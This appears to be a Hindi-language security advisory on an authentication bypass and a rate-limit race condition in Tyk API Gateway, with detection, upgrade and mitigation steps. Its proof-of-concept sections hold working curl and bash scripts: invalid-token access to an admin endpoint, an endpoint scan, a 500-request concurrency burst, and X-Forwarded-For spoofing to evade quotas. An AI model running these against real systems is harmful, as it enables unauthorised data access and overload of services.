Tyk API Gateway CVE-2026: ऑथेंटिकेशन बायपास & रेट लिमिटिंग वल्नरेबिलिटीज़

Tyk API Gateway में दो क्रिटिकल सिक्योरिटी फ़्लॉज़ — एक ऑथेंटिकेशन टोकन वैलिडेशन बायपास (CVE-2026-31872) और एक कोटा/रेट लिमिटिंग सर्कमवेंशन वल्नरेबिलिटी (CVE-2026-31873) — अनऑथेंटिकेटेड अटैकर्स को प्रोटेक्टेड APIs तक एक्सेस पाने और बैकएंड सर्विसेज़ को ओवरव्हेल्म करने की अनुमति देते हैं। वर्ज़न्स 5.0–5.3 चला रहे सभी सेल्फ़-होस्टेड Tyk डिप्लॉयमेंट्स प्रभावित हैं। पैचेज़ Tyk 5.3.5 और 5.4.0 में उपलब्ध हैं।

वल्नरेबिलिटी ओवरव्यू

Tyk API Gateway, Go में लिखा गया एक लोकप्रिय ओपन-सोर्स और कमर्शियल API मैनेजमेंट प्लेटफ़ॉर्म, में इसके ऑथेंटिकेशन मिडलवेयर और रेट लिमिटिंग सबसिस्टम को प्रभावित करने वाली दो क्रिटिकल वल्नरेबिलिटीज़ पाई गई हैं। 31 मार्च 2026 को डिस्क्लोज़ किया गया, ये फ़्लॉज़ सेल्फ़-होस्टेड Tyk Gateway वर्ज़न्स 5.0.x से 5.3.4 को प्रभावित करते हैं और Tyk की कस्टम मिडलवेयर चेन इवैल्युएशन और Redis-बेस्ड कोटा ट्रैकिंग में लॉजिक एरर्स से उत्पन्न होते हैं।

Tyk Cloud (SaaS) डिप्लॉयमेंट्स को 30 मार्च 2026 को चुपचाप पैच कर दिया गया। सेल्फ़-होस्टेड Tyk चलाने वाले संगठनों — जिसमें Kubernetes पर Tyk Operator का उपयोग करने वाले भी शामिल हैं — को मैनुअली अपग्रेड करना होगा।

CVE-2026-31872: ऑथेंटिकेशन टोकन बायपास — टेक्निकल डीप डाइव

रूट कॉज़ एनालिसिस

CVE-2026-31872, Tyk के Go प्लगइन मिडलवेयर चेन इवैल्युएशन में एक क्रिटिकल फ़्लॉ है। जब एक API डेफ़िनेशन एक साथ वर्चुअल एंडपॉइंट और एक ऑथेंटिकेशन टोकन पॉलिसी कॉन्फ़िगर करती है, Tyk की रिक्वेस्ट प्रोसेसिंग पाइपलाइन टोकन वैलिडेशन पूरा करने से पहले वर्चुअल एंडपॉइंट हैंडलर का इवैल्युएशन करती है। अगर वर्चुअल एंडपॉइंट एक स्पेसिफ़िक HTTP रिस्पॉन्स पैटर्न रिटर्न करता है — विशेष रूप से एक 200 OK खाली बॉडी के साथ — तो ऑथ मिडलवेयर रिक्वेस्ट को प्री-ऑथेंटिकेटेड के रूप में मार्क करता है और प्रोवाइडेड बेयरर टोकन को वेरिफ़ाई किए बिना इसे अपस्ट्रीम पर फ़ॉरवर्ड कर देता है।

यह फ़्लॉ gateway/middleware/virtual_endpoint.goमें मौजूद है, जहाँ Exec() मेथड कुछ रिस्पॉन्स कंडीशंस के तहत एक शेयर्ड कॉन्टेक्स्ट की सेट करता है ctx.PreAuthenticated = true । यह फ़्लैग फिर gateway/middleware/auth_key.goके ProcessRequest() द्वारा टोकन वैलिडेशन को शॉर्ट-सर्किट करने के लिए पढ़ा जाता है — एक डिज़ाइन जो इंटरनल सर्विस-टू-सर्विस कॉल्स के लिए इंटेंडेड था लेकिन जिसे एक्सटर्नली ट्रिगर किया जा सकता है।

CVSS v3.1 स्कोरिंग ब्रेकडाउन

प्रभावित API कॉन्फ़िगरेशंस

हर Tyk डिप्लॉयमेंट वल्नरेबल नहीं है। ऑथेंटिकेशन बायपास तभी ट्रिगर होने योग्य है जब सभी तीन निम्नलिखित कंडीशंस एक API डेफ़िनेशन में मौजूद हों:

• ऑथ टाइप सेट है auth_token या jwt
• एक वर्चुअल एंडपॉइंट सेम API डेफ़िनेशन के भीतर किसी भी पाथ के लिए कॉन्फ़िगर्ड है
• वर्चुअल एंडपॉइंट का JS फ़ंक्शन रिटर्न करता है TykJsResponse के साथ Code: 200 और एक ख़ाली या null Body

एक्सप्लॉइटेशन प्रूफ़ ऑफ़ कॉन्सेप्ट

निम्नलिखित एक टू-स्टेप एक्सप्लॉइट दिखाता है: पहले प्री-ऑथ फ़्लैग को पॉइज़न करने के लिए वर्चुअल एंडपॉइंट को ट्रिगर करना, फिर तुरंत एक इनवैलिड टोकन के साथ एक प्रोटेक्टेड एंडपॉइंट तक एक्सेस करना:

# Step 1: Trigger the virtual endpoint with an empty-body 200 response
# This poisons the PreAuthenticated flag in Tyk's shared request context
curl -i -X POST https://api.example.com/v1/virtual-endpoint \
  -H "Authorization: Bearer INVALID_TOKEN_AAAA" \
  -H "Content-Type: application/json" \
  -d '{}'

# Expected response from Step 1 (virtual endpoint processes before auth):
# HTTP/2 200
# (empty body — this triggers the vulnerability)

# Step 2: Immediately access any protected endpoint on the SAME API definition
# with ANY bearer token — validation is skipped due to PreAuthenticated flag
curl -i https://api.example.com/v1/admin/users \
  -H "Authorization: Bearer INVALID_TOKEN_AAAA" \
  -H "X-Request-ID: $(uuidgen)"

# Vulnerable response:
# HTTP/2 200
# {"users": [...]}   ← Full data returned without valid auth

# Automated scanner to identify vulnerable Tyk endpoints
for path in /v1/users /v1/admin /v1/data /api/internal; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer AAAA.BBBB.CCCC" \
    "https://api.example.com${path}")
  echo "$path -> HTTP $STATUS"
done

वल्नरेबल Tyk API डेफ़िनेशन उदाहरण

Tyk के JSON कॉन्फ़िग में निम्नलिखित API डेफ़िनेशन पैटर्न वल्नरेबिलिटी को ट्रिगर करता है। अगर आपके डिप्लॉयमेंट में इस स्ट्रक्चर से मेल खाने वाली APIs हैं, तो पैच होने तक ख़ुद को रिस्क में मानें:

// Vulnerable Tyk API definition (tyk-api-def.json)
{
  "auth": {
    "auth_header_name": "Authorization",
    "use_param": false
  },
  "use_keyless": false,
  "use_standard_auth": true,
  "extended_paths": {
    "virtual": [
      {
        "response_function_name": "myVirtualFunc",
        "function_source_type": "inline",
        "path": "virtual-endpoint",
        "method": "POST",
        // If this function returns {Code:200, Body:""} → triggers bypass
        "function_source_value": "function myVirtualFunc(req, session, spec) { return TykJsResponse({Code: 200, Body: ''}, session.meta_data); }"
      }
    ]
  }
}

CVE-2026-31873: रेट लिमिटिंग & कोटा बायपास — टेक्निकल डीप डाइव

रूट कॉज़ एनालिसिस

CVE-2026-31873, Tyk के Redis-बेस्ड कोटा और रेट लिमिटिंग इम्प्लीमेंटेशन में एक रेस कंडीशन है। जब Tyk सेम API की से कंकरेंट रिक्वेस्ट्स प्रोसेस करता है, तो कोटा चेक और कोटा डिक्रिमेंट ऑपरेशंस दो अलग, नॉन-एटॉमिक Redis कमांड्स में किए जाते हैं (GET फिर DECR)। एक अटैकर जो पर्याप्त हाई कंकरेंसी में रिक्वेस्ट्स भेजता है, कई गोरूटीन्स में सेम प्री-डिक्रिमेंट कोटा वैल्यू पढ़ सकता है, प्रभावी रूप से उनकी अलाउड रिक्वेस्ट काउंट को कंकरेंट कनेक्शंस की संख्या से गुणा करते हुए।

यह एक क्लासिक TOCTOU (Time-of-Check, Time-of-Use) वल्नरेबिलिटी है। Tyk के Go कोड में (storage/storage.goके GetRawKey + DecrementWithExpire पाथ), चेक-देन-डिक्रिमेंट लॉजिक के आसपास कोई Redis MULTI/EXEC ट्रांज़ैक्शन या WATCH-बेस्ड ऑप्टिमिस्टिक लॉक नहीं है, जो कोटा स्टेट को कंकरेंट लोड के तहत स्टेल पढ़े जाने देता है।

एक्सप्लॉइटेशन प्रूफ़ ऑफ़ कॉन्सेप्ट

निम्नलिखित bash स्क्रिप्ट 50 req/min कोटा के साथ कॉन्फ़िगर्ड एक Tyk-प्रोटेक्टेड एंडपॉइंट के ख़िलाफ़ 500 सिमल्टेनियस रिक्वेस्ट्स फ़ायर करने के लिए GNU parallel का उपयोग करती है। एक वल्नरेबल इंस्टेंस पर, लिमिट के बावजूद अधिकांश सफल होंगी:

#!/bin/bash
# CVE-2026-31873 — Tyk Rate Limit TOCTOU Race PoC
# Fires 500 concurrent requests to exhaust quota without triggering limits

TARGET="https://api.example.com/v1/search"
API_KEY="tyk-valid-api-key-here"
CONCURRENCY=500

echo "Launching $CONCURRENCY concurrent requests..."

seq 1 $CONCURRENCY | parallel -j $CONCURRENCY \
  'curl -s -o /dev/null -w "%{http_code}\n" \
    -H "Authorization: '"$API_KEY"'" \
    "'"$TARGET"'?q=test&page={}"' \
  | sort | uniq -c

# Expected on patched system:
# 449  429   (rate limited)
#  51  200   (within quota)

# Expected on vulnerable system:
# 498  200   (bypass successful — almost all requests pass)
#   2  429   (only slowest requests get rate-limited)

हेडर मैनिपुलेशन के ज़रिए एडिशनल बायपास

उन Tyk डिप्लॉयमेंट्स पर जहाँ enable_ip_whitelisting false है और गेटवे भरोसा करता है X-Forwarded-Forपर, रेट लिमिटिंग की को सोर्स IP हेडर को रोटेट करके भी फ़्रैगमेंट किया जा सकता है। यह TOCTOU रेस के साथ मिलकर लगभग-पूर्ण कोटा बायपास बनाता है:

# Combine X-Forwarded-For rotation with concurrent requests
# Each unique IP gets its own rate limit bucket in Tyk's default config
for i in $(seq 1 1000); do
  FAKE_IP="10.$((RANDOM % 256)).$((RANDOM % 256)).$((RANDOM % 256))"
  curl -s -o /dev/null \
    -H "Authorization: tyk-valid-api-key-here" \
    -H "X-Forwarded-For: $FAKE_IP" \
    "https://api.example.com/v1/data" &
  (( i % 100 == 0 )) && wait
done
wait

Tyk Cloud बनाम सेल्फ़-होस्टेड: इम्पैक्ट तुलना

डिटेक्शन: अपने एनवायरनमेंट में एक्सप्लॉइटेशन की पहचान करना

Tyk Gateway लॉग एनालिसिस

Tyk स्ट्रक्चर्ड JSON में ऑथेंटिकेशन डिसीज़न्स लॉग करता है। निम्नलिखित कमांड्स उन रिक्वेस्ट्स की पहचान करते हैं जिन्होंने टोकन वैलिडेशन बायपास किया (बिना वैलिड की के ऑथेंटिकेटेड) और कोटा एक्सज़ॉशन एनोमलीज़:

# Find requests where auth succeeded but no API key was validated
# These appear as requests with empty or placeholder auth_id fields
cat /var/log/tyk/tyk.log \
  | jq -r 'select(.level == "info" and .msg == "Proxy request") | select(.auth_id == "" or .auth_id == null)' \
  | jq '{time: .time, path: .path, ip: .remote_addr, auth_id: .auth_id}'

# Detect quota bypass: requests that succeeded after quota should be exhausted
# Look for API keys with >N सफल रिक्वेस्ट्स पिछले मिनट में
cat /var/log/tyk/tyk.log \
  | jq -r 'select(.code == 200) | .auth_id' \
  | sort | uniq -c | sort -rn \
  | awk '$1 > 100 { print "POTENTIAL_BYPASS: " $2 " — " $1 " successful requests" }'

# Check Tyk version via the gateway HTTP API
curl -s http://localhost:8080/hello | jq '.version'

Redis कोटा स्टेट वेरिफ़िकेशन

यह वेरिफ़ाई करने के लिए कि रेट लिमिटिंग काउंटर्स सही तरीक़े से इंक्रिमेंट हो रहे हैं, Redis को सीधे इंस्पेक्ट करें:

# Connect to your Tyk Redis instance and inspect quota keys
redis-cli -h your-redis-host -p 6379 -a yourpassword

# List all rate limit keys for a specific API key
KEYS "quota-*your-api-key-prefix*"

# Check a specific quota key's current value and TTL
GET "quota-your-api-key-hash"
TTL "quota-your-api-key-hash"

# If the value is higher than your configured quota, exploitation may have occurred
# Example: if quota is 100/min but counter shows 450, investigate immediately

रेमेडिएशन गाइड

स्टेप 1: Tyk Gateway अपग्रेड करें

निश्चित फ़िक्स Tyk Gateway 5.3.5 या 5.4.0 पर अपग्रेड करना है। दोनों रिलीज़ेज़ में कोटा ऑपरेशंस के लिए एक एटॉमिक Redis पाइपलाइन और वर्चुअल एंडपॉइंट प्री-ऑथ फ़्लैग हैंडलिंग का रीराइट शामिल है।

# Docker — upgrade to patched image
docker pull tykio/tyk-gateway:v5.3.5
docker stop tyk-gateway && docker rm tyk-gateway
docker run -d --name tyk-gateway \
  -v $(pwd)/tyk.conf:/opt/tyk-gateway/tyk.conf \
  -v $(pwd)/apps:/opt/tyk-gateway/apps \
  -p 8080:8080 \
  tykio/tyk-gateway:v5.3.5

# Kubernetes via Helm — update Tyk Operator
helm repo add tyk-helm https://helm.tyk.io/public/helm/charts/
helm repo update
helm upgrade tyk-gateway tyk-helm/tyk-gateway \
  --namespace tyk \
  --set gateway.image.tag=v5.3.5 \
  --reuse-values

# Binary upgrade on Linux
curl -L https://github.com/TykTechnologies/tyk/releases/download/v5.3.5/tyk-linux-amd64-v5.3.5.tar.gz \
  -o tyk-v5.3.5.tar.gz
tar -xzf tyk-v5.3.5.tar.gz
sudo systemctl stop tyk-gateway
sudo cp tyk /opt/tyk-gateway/tyk
sudo systemctl start tyk-gateway

# Verify version after upgrade
curl -s http://localhost:8080/hello | jq '.version'
# Expected: "v5.3.5" or "v5.4.0"

स्टेप 2: ऑथ-प्रोटेक्टेड APIs पर वर्चुअल एंडपॉइंट्स डिसेबल करें (इंटरिम मिटिगेशन)

अगर तुरंत अपग्रेड संभव नहीं है, तो टोकन ऑथेंटिकेशन का उपयोग करने वाली किसी भी API डेफ़िनेशन पर वर्चुअल एंडपॉइंट्स डिसेबल करें। API डेफ़िनेशन JSON एडिट करें और वर्चुअल पाथ लिस्ट को ख़ाली सेट करें:

// In your Tyk API definition file — remove or empty the virtual endpoints list
{
  "extended_paths": {
    "virtual": []  // ← Set to empty array to disable virtual endpoints
  }
}

# Apply via Tyk Dashboard API
curl -X PUT https://your-tyk-dashboard:3000/api/apis/{api-id} \
  -H "authorization: your-dashboard-user-key" \
  -H "Content-Type: application/json" \
  -d @patched-api-def.json

# Or reload via hot-reload if using file-based config
kill -SIGHUP $(pgrep tyk)

स्टेप 3: Redis एटॉमिक ऑपरेशंस के साथ रेट लिमिटिंग को हार्डन करें (CVE-2026-31873)

जब तक आप अपग्रेड नहीं कर सकते, Tyk का एक्सपेरिमेंटल enable_redis_rolling_limiter ऑप्शन इनेबल करें, जो Redis में एक Lua-स्क्रिप्टेड एटॉमिक पाइपलाइन का उपयोग करता है और TOCTOU रेस के लिए वल्नरेबल नहीं है:

// tyk.conf — enable atomic rolling rate limiter (available in Tyk 5.0+)
{
  "enable_redis_rolling_limiter": true,
  "enable_sentinel_rate_limiter": false,
  "drl_notification_payload_size": 0,

  // Also restrict trusted IPs for X-Forwarded-For to block IP rotation bypass
  "allowed_ips": ["10.0.1.10", "10.0.1.11"],
  "enable_ip_whitelisting": true
}

स्टेप 4: रेमेडिएशन वेरिफ़ाई करें

# Test 1: Verify auth bypass is fixed — should return 401
curl -i -X POST https://your-gateway.example.com/v1/virtual-endpoint \
  -H "Authorization: Bearer INVALID_TOKEN_AAAA" \
  -d '{}'
# Expected on patched system: HTTP/2 401 Unauthorized

# Test 2: Verify rate limiting enforces correctly
for i in $(seq 1 60); do
  CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer your-valid-key" \
    "https://your-gateway.example.com/v1/test")
  echo "Request $i: HTTP $CODE"
done
# After your quota limit, you should consistently see 429 Too Many Requests

एडिशनल हार्डनिंग रेकमेंडेशन्स

1. अपस्ट्रीम कनेक्शंस के लिए Tyk का म्युचुअल TLS (mTLS) इनेबल करें: भले ही गेटवे कॉम्प्रोमाइज़्ड हो, mTLS द्वारा प्रोटेक्टेड बैकएंड सर्विसेज़ को एक वैलिड क्लाइंट सर्टिफ़िकेट की ज़रूरत होती है, जो एक एडिशनल लेयर की प्रोटेक्शन देता है जिसे अटैकर्स आसानी से बायपास नहीं कर सकते।
2. नेटवर्क लेवल पर Tyk की बिल्ट-इन IP रेट लिमिटिंग का उपयोग करें: Tyk के सामने अपने रिवर्स प्रॉक्सी (nginx/Envoy) में max_conn_time और कनेक्शन रेट लिमिट्स कॉन्फ़िगर करें ताकि एक्सप्लॉइटेशन के लिए उपलब्ध कंकरेंसी को कैप किया जा सके।
3. वर्चुअल एंडपॉइंट + ऑथ कॉम्बिनेशंस के लिए सभी API डेफ़िनेशंस को ऑडिट करें: Tyk Dashboard API एक्सपोर्ट चलाएं और दोनों use_standard_auth: true और एक नॉन-एम्प्टी virtual एरे वाली APIs के लिए grep करें।
4. Tyk के एनालिटिक्स इनेबल करें और कोटा अलर्ट्स सेट करें: Tyk Pump को अपने SIEM (Splunk, Elastic) में एनालिटिक्स फ़ॉरवर्ड करने के लिए कॉन्फ़िगर करें। किसी भी API की के लिए अलर्ट्स सेट करें जो एक रोलिंग मिनट विंडो में अपने कॉन्फ़िगर्ड कोटा के 150% से अधिक हो।
5. पैच डेट से पहले जारी की गई सभी API कीज़ रोटेट करें: अगर एक्सप्लॉइटेशन हुआ है, तो कोई भी की जो एक वल्नरेबल एंडपॉइंट के ख़िलाफ़ उपयोग की गई थी, हो सकता है कि एक अटैकर द्वारा देखी गई हो। Tyk Dashboard बल्क की रोटेशन को Admin API के ज़रिए स्क्रिप्टेड किया जा सकता है।

# Audit script: find all vulnerable API definitions (virtual + auth combo)
curl -s "https://your-dashboard:3000/api/apis?p=-1" \
  -H "authorization: your-dashboard-key" \
  | jq -r '.apis[] | select(
      .api_definition.use_standard_auth == true and
      (.api_definition.extended_paths.virtual | length > 0)
    ) | "VULNERABLE: " + .api_definition.name + " (" + .api_definition.api_id + ")"'

डिस्क्लोज़र टाइमलाइन